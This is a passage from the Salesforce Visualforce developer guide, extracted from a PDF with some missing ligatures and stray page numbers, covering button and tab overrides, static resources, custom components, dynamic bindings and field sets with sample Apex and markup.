encodingMap.put(8,'I'); encodingMap.put(9,'J'); encodingMap.put(10,'K'); encodingMap.put(11,'L'); encodingMap.put(12,'M'); encodingMap.put(13,'N'); encodingMap.put(14,'O'); encodingMap.put(15,'P'); encodingMap.put(16,'Q'); encodingMap.put(17,'R'); encodingMap.put(18,'S'); encodingMap.put(19,'T'); encodingMap.put(20,'U'); encodingMap.put(21,'V'); encodingMap.put(22,'W'); encodingMap.put(23,'X'); encodingMap.put(24,'Y'); encodingMap.put(25,'Z'); encodingMap.put(26,'a'); encodingMap.put(27,'b'); encodingMap.put(28,'c'); encodingMap.put(29,'d'); encodingMap.put(30,'e'); encodingMap.put(31,'f'); encodingMap.put(32,'g'); encodingMap.put(33,'h'); encodingMap.put(34,'i'); encodingMap.put(35,'j'); encodingMap.put(36,'k'); encodingMap.put(37,'l'); encodingMap.put(38,'m'); encodingMap.put(39,'n'); encodingMap.put(40,'o'); encodingMap.put(41,'p'); encodingMap.put(42,'q'); encodingMap.put(43,'r'); encodingMap.put(44,'s'); encodingMap.put(45,'t'); encodingMap.put(46,'u'); encodingMap.put(47,'v'); encodingMap.put(48,'w'); encodingMap.put(49,'x'); encodingMap.put(50,'y'); encodingMap.put(51,'z'); encodingMap.put(52,'0'); encodingMap.put(53,'1'); encodingMap.put(54,'2'); encodingMap.put(55,'3'); encodingMap.put(56,'4'); encodingMap.put(57,'5'); encodingMap.put(58,'6'); encodingMap.put(59,'7'); encodingMap.put(60,'8'); encodingMap.put(61,'9'); } } }
The Visualforce page needs two input elements: one for the chart type, and one for the data set. Below is a sample page that constructs the form to collect this information:
<apex:page controller="GoogleDataEncoding"> <apex:form > <apex:pageBlock title="Create a Google Chart for Time and Distance"> <apex:outputLabel
108
Advanced Examples
value="Enter data set, seperated by commas: " for="dataInput"/><br/> <apex:inputTextArea id="dataInput" title="First Data Point" value="{!dataSet}" rows="3" cols="50"/><br/> <apex:selectRadio value="{!graph}" layout="pageDirection"> <apex:selectOption itemValue="barChart" itemLabel="Horizontal Bar Chart"/> <apex:selectOption itemValue="lineChart" itemLabel="Line Chart"/> </apex:selectRadio> <apex:commandButton action="{!create}" value="Create"/> </apex:pageBlock> </apex:form> <apex:image url="{!chartURL}" alt="Sample chart" rendered="{!displayChart}"/> </apex:page>
For a sample, enter the following sequence of numbers: 1, 1, 2, 3, 5, 8, 13, 21, 34, 55. Your page should render the following:
109
Advanced Examples
4. Click Your Name Setup Customize Opportunities Buttons and Links 5. Under Custom Buttons and Links, click New. 6. Set the Button Label to Mass Update Stages, and set the Name to MassUpdateStages.
110
Advanced Examples
7. Set the Display Type to List Button and ensure that Display Checkboxes (for Multi-Record Selection) is checked. Set the Behavior to Display in existing window with sidebar, and set the Content Source to Visualforce Page. Click the name of the page you just created to associate it with this button. 8. Click Save. 9. Click Your Name Setup Customize Opportunities Search Layouts. Then, click Edit next to Opportunities List View. 10. Under Custom Buttons, move the Mass Update Stages button to the Selected Buttons list. 11. Click Save. 12. Click the Opportunities tab. Select or create a lter that displays some existing opportunities you would like to change. 13. You will see checkboxes next to each of the results. Click any number of checkboxes and click the Mass Update Stages button to change the selected stages to any value you wish. 14. Click Save. While this example shows you how to update one eld, any number of elds in the prototype object can be referenced and applied to the user's selection; any eld in the prototype object that the user doesn't set doesn't affect the selected records. Remember that properties of elds, such as their requiredness, are maintained in the prototype object. For example, if you include an input eld on the page for a required eld such as Opportunity.StageName, the user must enter a value for the eld. Note: You only need selectedSizeWorkaround if you want your page to either display or reference the sizes of the user selection or ltered set. Such a display is helpful since it gives the user information about the set that will be modied by the mass update.
111
Chapter 9
Overriding Buttons, Links, and Tabs with Visualforce
Salesforce lets you override the behavior of standard buttons on record detail pages. In addition, you can override the tab home page that displays when a user clicks a standard or custom object tab. To override a standard button or a tab home page: 1. Navigate to the appropriate override page: For standard objects, click Your Name Setup Customize, select the appropriate object or tab link, then click Buttons and Links. For custom objects, click Your Name Setup Create Objects, and select one of the custom objects in the list.
In the Standard Buttons and Links related list, click Edit next to the button or tab home page you want to override. Note: Since events and tasks don't have their own tabs, you can only override their standard buttons and links.
2. Pick Visualforce Page as an override type. 3. Select the Visualforce page you want to run when users click the button or tab. When overriding buttons with a Visualforce page, you must use the standard controller for the object on which the button appears. For example, if you want to use a page to override the Edit button on accounts, the page markup must include the standardController="Account" attribute on the <apex:page> tag:
<apex:page standardController="Account"> <!-- page content here --> </apex:page>
When overriding tabs with a Visualforce page, only Visualforce pages that use the standard list controller for that tab, pages with a custom controller, or pages with no controller can be selected. When overriding lists with a Visualforce page, only Visualforce pages that use a standard list controller can be selected. When overriding the New button with a Visualforce page, you also have the option to skip the record type selection page. If selected, any new records you create won't be forwarded to the record type selection page, since it assumes that your Visualforce page is already handling record types. Tip: Use a controller extension when you need to add extra functionality to Visualforce page that you are using as an override. 4. Optionally, enter any comments to note the reason for making this change. 5. Click Save. Button overrides are global throughout Salesforce because overrides control the action behind the button. For example, if you override the New button on opportunities, your replacement action takes effect wherever that action is available:
112
The Opportunities tab home page Any Opportunities related lists on other objects such as accounts The Create New drop-down list in the sidebar Any browser bookmarks for this Salesforce page
To remove an override: 1. Click Your Name Setup Customize, select the appropriate object or tab link, and then click Buttons and Links. For custom objects, click Your Name Setup Create Objects, and select one of the custom objects in the list. 2. Click Edit next to the override. 3. Select No Override (default behavior). 4. Click OK.
Then, you can override the Account tab to display that page instead of the standard Account home page. To override the tab for Account: 1. 2. 3. 4. Click Your Name Setup Customize Accounts Buttons and Links. Click Edit for the Accounts Tab. From the Visualforce Page drop-down list, select the overrideAccountTab page. Click Save. Note: Make sure you have made this page available to all your users by setting the page level security appropriately.
113
Custom buttons and links are available for activities under the individual setup links for tasks and events. However, you can override a button that applies to both tasks and events by clicking Your Name Setup Customize Activities Activity Buttons. For custom objects, click Your Name Setup Create Objects, and select one of the custom objects in the list. 2. Click New from the Custom Buttons and Links section. 3. Enter the following attributes: Attribute Name
Label Name
Description The text that displays on user pages for the custom button or link. The unique name for the button or link used when referenced from a merge eld. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. In a packaging context, a namespace prex is a one to 15-character alphanumeric identier that distinguishes your package and its contents from packages of other developers on AppExchange. Namespace prexes are case-insensitive. For example, ABC and abc are not recognized as unique. Your namespace prex must be globally unique across all Salesforce organizations. It keeps your managed package under your control exclusively. organization. A developer can delete a protected component in a future release without worrying about failing installations. However, once a component is marked as unprotected and is released globally, the developer cannot delete it.
Namespace Prefix
Protected Component Protected components cannot be linked to or referenced by components created in a subscriber
Text that distinguishes the button or link from others. This displays only to administrators when setting up buttons and links. Determines where the button or link is available on page layouts: Detail Page Link Select this option if you want to add the link to the Custom Links section of your page layouts. Detail Page Button Select this option if you want to add the custom button to a record's detail page. You can only add detail page buttons to the Button Section of a page layout. List Button Select this option if you want to add the custom button to a list view, search result layout, or related list. You can only add list buttons to the Related List Section of a page layout or the List View and Search Result layouts. For list buttons, Salesforce automatically selects a Display Checkboxes (for Multi-Record Selection) option that includes a checkbox next to each record in the list, allowing users to select the records they want applied to the action on the list button. Deselect this option if your custom button does not require the user to select records such as one that quickly navigates the user to another page.
Behavior
Choose the outcome of clicking the button or link. When applicable, some settings have default values. For example, if you choose Display in new window, the default height of a new window is 600 pixels.
114
Attribute Name
Content Source
Description To use a Visualforce page, select Visualforce Page, and choose the page from the drop-down list. Visualforce pages cannot be used as custom links on the home page.
4. Click Save when you are nished. Click Quick Save to save and continue editing. Click Preview to view the URL specied. Click Cancel to quit without saving your content. 5. Edit the page layout for the appropriate tab or search layout to display the new button or link. If you add a custom link for users, it is automatically added to the Custom Links section of the user detail page. Detail page buttons can only be added to the Button Section of a page layout. 6. Optionally, set the window properties if you prefer the link or button opening using different settings than the user's default browser settings.
115
3. Make the page available to all users. a. b. c. d. Click Your Name Setup Develop Pages. Click Security for the oppEditStageAndCloseDate page. Add the appropriate proles to the Enabled Profiles list. Click Save.
4. Create a custom button on opportunities. a. b. c. d. e. f. g. h. Click Your Name Setup Customize Opportunities Buttons and Links. Click New in the Custom Buttons and Links section. Set the Label to Edit Stage & Date. Set the Display Type to List Button. Set the Content Source to Visualforce Page. From the Content drop-down list, select oppEditStageAndCloseDate. Click Save. A warning will display notifying you that the button will not be displayed until you have updated page layouts. Click OK.
5. Add the custom button to an account page layout. a. b. c. d. Click Your Name Setup Customize Accounts Page Layouts. Click Edit for the appropriate page layout. In the Related List Section, click on Opportunities, then click to edit the properties. In the Custom Buttons section, select Edit Stage & Date in the Available Buttons list and add it to the Selected Buttons list. e. Click OK. f. Click Save. Now, when you visit the account page, there is a new button in the opportunities related list.
Figure 23: Example of New Button When you select an opportunity and click Edit Stage & Date, you are taken to your custom edit page.
116
If the <apex:inputField> tag refers to a record type eld: If the user can change the elds record type, or select a record type for the new eld, the <apex:inputField> component renders as a drop-down list. Otherwise, it renders as read-only text. It's the developer's responsibility to either refresh the page or rerender ltered picklists when the list changes.
In addition, the <apex:outputField> tag's support for record types is identical to a read-only implementation of the <apex:inputField> behavior. When overriding the New button with a Visualforce page, you also have the option to skip the record type selection page. If selected, any new records you create won't be forwarded to the record type selection page, since it assumes that your Visualforce page is already handling record types.
117
Chapter 10
Using Static Resources
Static resources allow you to upload content that you can reference in a Visualforce page, including archives (such as .zip and .jar les), images, stylesheets, JavaScript, and other les. Using a static resource is preferable to uploading a le to the Documents tab because: You can package a collection of related les into a directory hierarchy and upload that hierarchy as a .zip or .jar archive. You can reference a static resource by name in page markup by using the $Resource global variable instead of hard-coding document IDs. Tip: In addition, using static resources to refer to JavaScript or cascading style sheets (CSS) is preferable to including the markup inline. Managing this kind of content using static resources allows you to have a consistent look and feel for all your pages and a shared set of JavaScript functionality. A single static resource can be up to 5 MB in size, and an organization can have up to 250 MB of static resources, total.
Note: Cache settings on static resources are set to private when accessed via a Force.com site whose guest user's prole has restrictions based on IP range or login hours. Sites with guest user prole restrictions cache static resources only within the browser. Also, if a previously unrestricted site becomes restricted, it can take up to 45 days for the static resources to expire from the Salesforce cache and any intermediate caches.
118
Public species that the static resource data cached on the Salesforce server be shared with other users in your organization for faster load times.
The W3C specications on Header Field Denitions has more technical information about cache-control. Note: This feature only works for Sitesenabled organizations that use the static resource.
7. Click Save. Caution: If you are using WinZip be sure to install the most recent version. Older versions of WinZip may cause a loss of data.
or
<apex:includeScript value="{!$Resource.MyJavascriptFile}"/>
To reference a le in an archive, use the URLFOR function. Specify the static resource name that you provided when you uploaded the archive with the rst parameter, and the path to the desired le within the archive with the second. For example:
<apex:image url="{!URLFOR($Resource.TestZip, 'images/Bluehills.jpg')}" width="50" height="50" />
or
<apex:includeScript value="{!URLFOR($Resource.LibraryJS, '/base/subdir/file.js')}"/>
You can use relative paths in les in static resource archives to refer to other content within the archive. For example, in your CSS le, namedstyles.css, you have the following style:
table { background-image: img/testimage.gif }
When you use that CSS in a Visualforce page, you need to make sure the CSS le can nd the image. To do that, create an archive (such as a zip le) that includes styles.css and img/testimage.gif. Make sure that the path structure is preserved in the archive. Then upload the archive le as a static resource named style_resources. Then, in your page, add the following component:
<apex:stylesheet value="{!URLFOR($Resource.style_resources, 'styles.css')}"/>
119
Since the static resource contains both the stylesheet and the image, the relative path in the stylesheet resolves and the image is displayed. Through a custom controller, you can dynamically refer to the contents of a static resource using the <apex:variable> tag. First, create the custom controller:
global class MyController { public String getImageName() { return 'Picture.gif';//this is the name of the image } }
If the name of the image changes in the zip le, you can just change the returned value in getImageName.
120
Chapter 11
Creating and Using Custom Components
Salesforce provides a library of standard, pre-built components, such as <apex:relatedList> and <apex:dataTable>, that can be used to develop Visualforce pages. In addition, you can build your own custom components to augment this library. This chapter provides an overview of custom components and how to create them: What are Custom Components? Custom Component Markup Using Custom Components in a Visualforce Page Custom Component Attributes Custom Component Controllers Dening Custom Components
See Also:
Defining Custom Components Using Custom Components in a Visualforce Page
121
5. 6. 7.
8.
You can modify this denition in the Setup area by clicking Your Name Setup Develop Components and then clicking Edit next to the myNewComponent custom component. Once your component has been created, you can view it at
http://mySalesforceInstance/apexcomponent/nameOfNewComponent, where the value of mySalesforceInstance is the host name of your Salesforce instance (for example, na3.salesforce.com) and the value of nameOfNewComponent is the value of the Name eld on the custom component denition.
The component is displayed as if it is a Visualforce page. Consequently, if your component relies on attributes or on the content of the component tag's body, this URL may generate results that you do not expect. To more accurately test a custom component, add it to a Visualforce page and then view the page.
122
Notice that the markup can be a combination of Visualforce and HTML tags, just like other Visualforce pages. For a more complex example, you could use a custom component to create a form that is used across multiple Visualforce pages. Create a new custom component named recordDisplay and copy the following code:
<apex:component> <apex:attribute name="record" description="The type of record we are viewing." type="Object" required="true"/> <apex:pageBlock title="Viewing {!record}"> <apex:detail /> </apex:pageBlock> </apex:component>
Next, create a page called displayRecords and use the following code:
<apex:page > <c:recordDisplay record="Account" /> </apex:page>
For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/displayAccount?id=001D000000IRt53
You should see a page with details about the account you passed in as an ID. Now, replace the code in displayRecords with the following sample:
<apex:page> <c:recordDisplay record="Contact" /> </apex:page>
Again, pass in the ID of a contact before refreshing the page. You should see the page display information about your Contact. Custom Component Attributes contains more information on using the <apex:attribute> component.
123
To use a custom component in a Visualforce page you must prex the component's name with the namespace in which the component was dened. For example, if a component named myComponent is dened in a namespace called myNS, the component can be referenced in a Visualforce page as <myNS:myComponent>. For ease of use, a component that is dened in the same namespace as an associated page can also use the c namespace prex. Consequently, if the page and component from the sample above are dened in the same namespace, you can reference the component as <c:myComponent>. If you want to insert content into a custom component, use the <apex:componentBody> tag.
See Also:
What are Custom Components? Defining Custom Components
See Also:
How is Visualforce Versioned? Managing Package Version Settings for Visualforce Pages and Components
124
To reference this component in a Visualforce page, you can use the following markup:
<c:myComponent myValue="My value" borderColor="red" />
An <apex:attribute> tag requires values for its name, description, and type attributes: The name attribute denes how the custom attribute can be referenced in Visualforce pages. The value for this attribute must be unique from the names of all other attributes dened in the component. The description attribute denes the help text for the attribute that appears in the component reference library once the custom component has been saved. The custom component is listed in the reference library with the standard components that are also available. The type attribute denes the Apex data type of the attribute. Only the following data types are allowed as values for the type attribute: Primitives, such as String, Integer, or Boolean sObjects, such as Account, My_Custom_Object__c, or the generic sObject type One-dimensional lists specied using array-notation, such as String[], or Contact[] Custom Apex classes
An identier that allows the custom component to be referenced by other components in the page.
125
rendered
A Boolean value that species whether the custom component is rendered on the page. If not specied, this value defaults to true.
Notice that the setter modies the value. 3. In the <apex:attribute> tag in your component denition, use the assignTo attribute to bind the attribute to the class variable you just dened. For example:
<apex:component controller="myComponentController"> <apex:attribute name="componentValue" description="Attribute on the component." type="String" required="required" assignTo="{!controllerValue}"/> <apex:pageBlock title="My Custom Component"> <p> <code>componentValue</code> is "{!componentValue}" <br/> <code>controllerValue</code> is "{!controllerValue}" </p> </apex:pageBlock> Notice that the controllerValue has been upper cased using an Apex method. </apex:component>
Note that when using the assignTo attribute, getter and setter methods, or a property with get and set values, must be dened. 4. Add the component to a page. For example,
<apex:page> <c:simpleComponent componentValue="Hi there, {!$User.FirstName}"/> </apex:page>
126
The output of the page will look something like the following:
Notice that the Apex controller method changes controllerValue so that it is displayed with uppercase characters.
127
Chapter 12
Dynamic Visualforce Bindings
Dynamic Visualforce binding is a way of writing generic Visualforce pages that display information about records without necessarily knowing which elds to show. In other words, elds on the page are determined at runtime, rather than compile time. This allows a developer to design a single page that renders differently for various audiences, based on their prole settings or preferences. Dynamic bindings are useful for Visualforce pages included in managed packages, as they allow for the presentation of data specic to each subscriber with very little coding involved. Dynamic Visualforce can be used anywhere formula expressions are valid. It is dened on a page in the following form:
{!reference[expression]}
where
reference evaluates to either an sObject or an Apex class expression evaluates to a string selecting a eld or a child object. If a child object is returned, it can be used to recursively
select elds or other child objects. Dynamic Visualforce binding is supported for standard and custom objects. Optionally, you can add a fieldname to the end of the expression. If the dynamic expression resolves to an sObject, the fieldname refers to a specic eld on that object. If your reference is an Apex class, your elds can only be public or global. Your dynamic Visualforce pages should be designed to use a standard controller for the object on your page, and implement any further customization through a controller extension. You can use the Apex Schema.SobjectType methods to populate your pages, in particular those that access the elds of an object. For example, Schema.SobjectType.Account.fields.getMap() returns a Map of the names of the Account elds in a format that your Apex custom controllers and extensions can understand.
Defining Relationships
Both reference and expression can be complex expressions, such as those that evaluate to object relationships. For example, suppose that an object called Object1__c has a relationship to another object called Object2__c. The name of the relationship between these two objects is called Relationship__r. If Object2__c has a eld called myField, then the following dynamically-cast lookups all return a reference to the same eld: Object1__c.Object2__c['myField'] Object1__c['Object2__c.myField'] Object1__c['Object2__c']['myField'] Object1__c.Relationship__r[myField] Object1__c[Relationship__r.myField] Object1__c[Relationship__r][myField]
128
Simple Example #1
The following example demonstrates the simplest way to construct a Visualforce page that uses dynamic references. Note: This tutorial can be rendered without using dynamic Visualforce methods. It is meant to be an illustrative example. First, create the following controller extension:
global class DynRefAccFieldLister { global DynRefAccFieldLister(ApexPages.StandardController controller) { } global List<String> threeFieldList { get { if (threeFieldList == null) { threeFieldList = new List<String>(); threeFieldList.add('Industry'); threeFieldList.add('AnnualRevenue'); threeFieldList.add('BillingCity'); } return threeFieldList; } private set; } }
Notice what's going on in this sample: The DynRefAccFieldLister controller extension creates a list of strings called threeFieldList. Each string maps to a eld name. DynRefPage uses an <apex:repeat> tag to loop through the strings returned by threeFieldList. The <apex:inputField> tag displays each eld in threeFieldList by referencing the afield iteration element.
The last bullet point is precisely what dynamic Visualforce references are all about.
129
Simple Example #2
This example creates a Visualforce page for a case record, with certain elds that are editable. First, create an Apex controller extension called dynamicCaseRecord:
public class dynamicCaseRecord { // construct a SOQL call that populates the case with values from the record public dynamicCaseRecord(ApexPages.StandardController controller) { String qid = ApexPages.currentPage().getParameters().get('id'); dynamicCase = [select id, Contact.Name, Contact.Email, Contact.Phone, CaseNumber, Origin, Status from Case where id= :qid]; } // create a list of fields that will be rendered on the Visualforce page public List<String> caseFieldList { get { if (caseFieldList == null) { caseFieldList = new List<String>(); caseFieldList.add('Contact.Name'); caseFieldList.add('Contact.Email'); caseFieldList.add('Contact.Phone'); caseFieldList.add('CaseNumber'); caseFieldList.add('Origin'); caseFieldList.add('Status'); } return caseFieldList; } private set; } public final Case dynamicCase {get; private set; } }
The corresponding page, dynamicCasePage, uses this extension to retrieve information about a particular case and its associated contact:
<apex:page standardController="Case" extensions="dynamicCaseRecord"> <apex:form > <apex:repeat var="caseField" value="{!caseFieldList}" > <h2>{!$ObjectType.Case.Fields[caseField].label}</h2><br/> <!-- The only editable information should be contact information --> <apex:inputText value="{!dynamicCase[caseField]}" rendered="{!IF(contains(caseField, "Contact"), true, false)}"/> <apex:outputText value="{!dynamicCase[caseField]}" rendered="{!IF(contains(caseField, "Contact"), false, true)}"/> <br/><br /> </apex:repeat> </apex:form> </apex:page>
For this page to display properly, the ID of a valid case record must be specied as a query parameter in the URL for the page. For example, if 500D0000003ZtPy is the case ID, the resulting URL is https://Salesforce_instance/apex/dynamicCasePage?id=500D0000003ZtPy. Your page will look similar to the following image:
130
Notice in this example that there are only two components presenting the information<apex:outputText> and <apex:inputText>. The only qualier on these tags is which one displays: if the eld on a case contains the word contact, then the information is rendered in an <apex:inputText> tag, and if it doesn't, it's rendered in an <apex:outputText>. The actual insertion of the eld information is handled by the caseField variable.
Advanced Example
The full potential of a dynamic Visualforce page is in building pages without necessarily knowing which elds are available on an object. The following example demonstrates this capability by creating a list of available accounts, asking the user to select which elds they'd like to edit, then generating a dynamic Visualforce page that presents those values. First, create a controller extension called DynamicAccFields using this code:
global class DynamicAccFields { private ApexPages.StandardSetController controller; private PageReference savePage; private Set<String> unSelectedNames = new Set<String>(); private Set<String> selectedNames = new Set<String> (); private Set<String> inaccessibleNames = new Set<String>(); public List<String> selected {get; set; } public List<String> unselected {get; set; } public DynamicAccFields () { init(); } public DynamicAccFields (ApexPages.StandardSetController controller) { this.controller = controller; init(); } public PageReference show() { controller.reset(); controller.addFields(new List<String>(selectedNames)); // See additional notes below for the previous Apex methods List<String> displayedNames = new List<String>(selectedNames); displayedNames.sort(); displayFields = displayedNames; return savePage; } public PageReference Customize() { savePage = ApexPages.CurrentPage(); return Page.DynamicAccFieldList; } // The methods below are for constructing the select list private void init() {
131
Map<String, Schema.SobjectField> fields = Schema.SobjectType.Account.fields.getMap(); for (String s : fields.keySet()) { if (s != 'Name') { // name is always displayed unSelectedNames.add(s); } if (!fields.get(s).getDescribe().isAccessible()) { inaccessibleNames.add(s); } } } public List<SelectOption> selectedOptions { get { List<String> sorted = new List<String>(selectedNames); sorted.sort(); List<SelectOption> options = new List<SelectOption>(); for (String s : sorted) { options.add(new SelectOption(s, fixName(s))); } return options; } } public List<SelectOption> unSelectedOptions { get { List<String> sorted = new List<String>(unSelectedNames); sorted.sort(); List<SelectOption> options = new List<SelectOption>(); for (String s : sorted) { options.add(new SelectOption(s, fixName(s))); } return options; } } private String fixName(String s) { return inaccessibleNames.contains(s) ? '*' + s : s; } public void doSelect() { for (String s: selected) { selectedNames.add(s); unselectedNames.remove(s); } } public void doUnSelect() { for (String s: unselected) { unSelectedNames.add(s); selectedNames.remove(s); } } public List<String> displayFields { get; private set; } }
Consider the following about this class: After trying to save, you may be prompted about a missing Visualforce page. Click the link to create the page: the next blocks of code will populate it. Two Apex methods are used for dynamic Visualforce pages using standard controllers: addFields() and reset(). The addFields() method adds a list of eld names to the StandardController indicating that they should be loaded;
132
the reset() method refreshes the StandardController to prepare to retrieve these new references. For more information on these methods, see the StandardController documentation. Now, create a Visualforce page called AccountListing with the following markup:
<apex:page standardController="Account" recordSetVar="acclist" extensions="DynamicAccFields"> <apex:form > <apex:pageBlock > <apex:outputLabel value="Select Accounts: " for="viewlist" /> <apex:selectList id="viewlist" size="1" value="{!filterid}"> <apex:actionsupport event="onchange" rerender="theTable"/> <apex:selectOptions value="{!listviewoptions}" /> </apex:selectList> </apex:pageblock> <!-- This is reserved for displaying the fields later --> <apex:pageBlock title="Accounts" mode="edit"> <apex:pageMessages /> <apex:panelgroup id="theTable"> <apex:pageblocktable value="{!acclist}" var="acc" > <apex:column value="{!acc.name}" /> <apex:repeat value="{!displayFields}" var="field"> <apex:column value="{!acc[field]}" /> </apex:repeat> </apex:pageblocktable> </apex:panelgroup> </apex:pageBlock> <br/> <apex:commandButton value="Select Fields" action="{!Customize}" /> </apex:form> </apex:page>
This page presents a list of the currently available accounts in your organization. At the top it provides a drop-down list for you to select which accounts you're interested in accessing. The goal of this page is twofold: rst, it provides an example of using a Standard List Controllers with dynamic Visualforce. Second, it provides a location for the rendered elds to display. Finally, create a page called DynamicAccFieldList. If you've been following this tutorial from the beginning, you should have already created this page when constructing your controller extension. Paste in the following code:
<apex:page standardController="Account" recordsetvar="recs" extensions="DynamicAccFields" > <apex:messages /><br/> <apex:form > <apex:pageBlock title="Select Fields to Display" id="selectionBlock" > <apex:panelGrid columns="3"> <apex:selectList id="unselected_list" required="false" value="{!selected}" multiselect="true" size="20" style="width:250px"> <apex:selectOptions value="{!unSelectedOptions}" /> </apex:selectList> <apex:panelGroup > <apex:commandButton value=">>" action="{!DoSelect}" rerender="selectionBlock"/> <br/> <apex:commandButton value="<<" action="{!DoUnselect}" rerender="selectionBlock" /> </apex:panelGroup> <apex:selectList id="selected_list" required="false" value="{!unselected}" multiselect="true" size="20" style="width:250px"> <apex:selectOptions value="{!selectedOptions}" /> </apex:selectList> </apex:panelGrid> <em>Note: fields marked "*" aren't accessible by you</em> </apex:pageBlock> <br/> <apex:commandButton value="Show Selected" action="{!show}" />
133
</apex:form> </apex:page>
This is the page that presents the user with the option of selecting elds to display. Notice that the selected and unselected lists are populated through dynamic means. When you assemble the controller extension and these pages, and navigate to/apex/AccountListing in your organization, you'll see a sequence similar to the following:
134
Create several dummy Book objects. For this tutorial, the data inside the elds doesn't actually matter. 2. Create a new page layout called Book Layout, which displays the custom elds above and removes the standard elds such as Created By, Last Modied By, Owner, and Name. 3. Create a controller extension called bookExtension with the following code:
public with sharing class bookExtension { private ApexPages.StandardController controller; private Set<String> bookFields = new Set<String>(); public bookExtension (ApexPages.StandardController controller) { this.controller = controller; Map<String, Schema.SobjectField> fields = Schema.SobjectType.Book__c.fields.getMap();
135
for (String s : fields.keySet()) { // Only include accessible fields if (fields.get(s).getDescribe().isAccessible() && fields.get(s).getDescribe().isCustom()) { bookFields.add(s); } } } public List<String> availableFields { get { controller.reset(); controller.addFields(new List<String>(bookFields)); return new List<String>(bookFields); } } }
4. Since the controller extension is going to be packaged, you'll need to create a test for the Apex class. Create an Apex class called bookExtensionTest with this basic code to get you started:
@isTest private class bookExtenstionTest { static testMethod void testBookExtension() { Test.startTest(); Book__c b = new Book__c(title__c = 'Absalom, Absalom!', isbn__c = '9780679732181', author__c='William Faulkner', publisher__c = 'Random House', price__c = '23.53'); bookExtension extension= new bookExtension(new ApexPages.StandardController(b)); Test.setCurrentPage(Page.booksView); ApexPages.currentPage().getParameters().put('id', b.id); System.assert(extension.availableFields != null); Test.stopTest(); } }
Note: This Apex test is only meant to be a sample. When creating tests that are included into packages, validate all behavior, including positive and negative results. 5. Create a Visualforce page called booksView that uses the controller extension to show the values of the Book object:
<apex:page standardController="Book__c" extensions="bookExtension" > <apex:pageBlock title="{!Book__c.name}"> <apex:repeat value="{!availableFields}" var="field"> <h2><apex:outputText value="{!$ObjectType.Book__c.Fields[field].label}"/></h2><br/> <apex:outputText value="{!Book__c[field]}" /><br/><br/> </apex:repeat> </apex:pageBlock> </apex:page>
6. Create a package called bookBundle, and add the custom object, the Visualforce page, and the bookExtensionTest Apex class. The other referenced elements are included automatically. 7. Install the bookBundle package into a subscriber organization. 8. After the package is installed, click Your Name Setup Create Objects, then click Book. Add a new eld called Rating. 9. Create a new Book object. Again, the values for the record don't actually matter.
136
10. Navigate to the booksView page with the package namespace and book ID appended to the URL. For example, if GBOOK is the namespace, and a00D0000008e7t4 is the book ID, the resulting URL should be https://Salesforce_instance/apex/GBOOK__booksView?id=001D000000CDt53. When the page is viewed from the subscribing organization, it should include all the packaged Book elds, plus the newly created Rating eld. Different users and organizations can continue to add whatever elds they want, which the dynamic Visualforce page always shows.
137
The Map and List data types can only be accessed as read-only items; in other words, they can't be used in any input components. However, if a Map refers to an sObject, than the items within the map can be updated through an input eld, if a eld name is referenced. The following example demonstrates this:
public with sharing class MapAccCont { Map<Integer, Account> mapToAccount = new Map<Integer, Account>(); public MapAccCont() { Integer i = 0; for (Account a : [select id, name from account]) { mapToAccount.put(i, a); i++; } } public Map<Integer, Account> getMapToAccount() { return mapToAccount; } } <apex:page controller="MapAccCont"> <apex:form> <apex:repeat value="{!mapToAccount}" var="accNum"> <apex:inputField value="{!mapToAccount[accNum].name}" /> </apex:repeat> </apex:form> </apex:page>
Consider the following for unresolved key/value pairs: If there is no value mapped to a particular key, the Visualforce page returns an error message. For example, with this controller:
public class ToolController { public Map<String, String> toolMap { get; set; } public String myKey { get; set; } public ToolController() { Map<String, String> toolsMap = new Map<String, String>(); toolsMap.put('Stapler', 'Keeps things organized'); } }
If the key is null, the Visualforce page renders an empty string. For example, using the same controller as above, this page shows an empty space:
<apex:page controller="ToolController"> <!-- This renders a blank space --> <apex:outputText value="{!toolMap[null]}" /> </apex:page>
138
You can also use dynamic bindings to display eld sets on your Visualforce pages. A eld set is a grouping of elds. For example, you could have a eld set that contains elds describing a user's rst name, middle name, last name, and business title. If the page is added to a managed package, administrators can add, remove, or reorder elds in a eld set to modify the elds presented on the Visualforce page without modifying any code. Field sets are available for Visualforce pages on API version 21.0 or above. Field sets are referenced in Visualforce by combining the $ObjectType global variable with the keyword FieldSets. For example, if your Contact object has a eld set called properNames that displays three elds, your Visualforce page can reference the eld data through the following iteration:
<apex:page standardController="Contact"> <apex:repeat value="{!$ObjectType.Contact.FieldSets.properNames}" var="f"> <apex:outputField value="{!Contact[f]}" /> </apex:repeat> </apex:page>
To properly render additional information, such as eld labels or types, you must make your references like this:
<apex:page standardController="Contact"> <apex:repeat value="{!$ObjectType.Contact.FieldSets.properNames}" var="f"> {!$ObjectType.Contact.Fields[f].label} ({!$ObjectType.Contact.Fields[f].type}): <apex:outputField value="{!Contact[f]}"/> <br/> </apex:repeat> </apex:page>
You can have up to 50 eld sets referenced on a single page. If a Visualforce page is added to a managed package and distributed, subscribers can edit the properNames eld set. The logic for generating the Visualforce page remains the same, while the presentation differs based on each subscriber's implementation. To reference a eld set from a managed package, you must prepend the eld set with the organization's namespace. Using the markup above, if properNames comes from an organization called Spectre, the eld set is referenced like this:
{!$ObjectType.Contact.FieldSets.Spectre__properNames}
Fields added to a eld set can be in one of two categories: If a eld is marked as Available for the Field Set, it exists in the eld set, but the developer hasnt presented it on the packaged Visualforce page. Administrators can display the eld after the eld set is deployed by moving it from the Available column to the In the Field Set column. If a eld is marked as In the Field Set, the developer has rendered the eld on the packaged Visualforce page by default. Administrators can remove the eld from the page after the eld set is deployed by removing it from the In the Field Set column.
The order in which a developer lists displayed elds determines their order of appearance on a Visualforce page. As a developer, keep the following practices in mind:
139
Subscribers with installed eld sets can always add elds that your page didn't account for. Since there is no logic checking involved, make sure that any eld rendered through your eld set works for all eld types. We recommend that you add only non-essential elds to your eld set. This ensures the scenario in which even if a subscriber does remove all the elds in the eld set, the Visualforce page still functions normally. Note: Field sets are available for Visualforce pages on API version 21.0 or above..
140
Chapter 13
Integrating Email with Visualforce
